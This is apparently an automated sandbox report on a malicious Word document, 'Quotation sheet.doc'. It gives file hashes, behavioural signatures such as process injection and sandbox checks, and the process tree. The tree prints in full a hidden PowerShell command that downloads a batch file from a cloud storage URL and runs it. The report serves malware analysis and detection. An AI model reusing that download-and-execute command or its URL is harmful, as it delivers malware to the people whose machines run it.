Analysis
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max time kernel
109s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
21-05-2022 04:10
Static task
static1
Behavioral task
behavioral1
Sample
Quotation sheet.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Quotation sheet.doc
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
offer_pdf.exe
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
offer_pdf.exe
Resource
win10v2004-20220414-en
General
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Target
Quotation sheet.doc
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Size
32KB
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MD5
3759688eef1380d504950f2d182feb2a
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SHA1
d04c71e2fbdd885b812b0abff05ab9381f84b35c
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SHA256
d28b9b95666eb49011c60d4cf91b42ae39e3f9e388f4d87f3e63c55626d54bb4
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SHA512
a3ee0cdb252ef8cfd0495964e846538eaba3e24f9b744858d47b07512b3f17e011b69e59b39b012a21b0da16e3113d71be66cf6fd6d0a9b2e9c2484e01f03690
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4616 3276 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 4616 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3276 WINWORD.EXE 3276 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4616 powershell.exe 4616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4616 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3276 WINWORD.EXE 3276 WINWORD.EXE 3276 WINWORD.EXE 3276 WINWORD.EXE 3276 WINWORD.EXE 3276 WINWORD.EXE 3276 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3276 wrote to memory of 4616 3276 WINWORD.EXE powershell.exe PID 3276 wrote to memory of 4616 3276 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Quotation sheet.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('https://storage.googleapis.com/present_day/srvsocket.bat','')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/3276-136-0x00007FFD28750000-0x00007FFD28760000-memory.dmpFilesize
64KB
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memory/3276-130-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-132-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-133-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-134-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-135-0x00007FFD28750000-0x00007FFD28760000-memory.dmpFilesize
64KB
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memory/3276-131-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-144-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-142-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-143-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/3276-141-0x00007FFD2ACB0000-0x00007FFD2ACC0000-memory.dmpFilesize
64KB
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memory/4616-138-0x000001B0E3240000-0x000001B0E3262000-memory.dmpFilesize
136KB
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memory/4616-139-0x00007FFD3FBA0000-0x00007FFD40661000-memory.dmpFilesize
10.8MB
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memory/4616-137-0x0000000000000000-mapping.dmp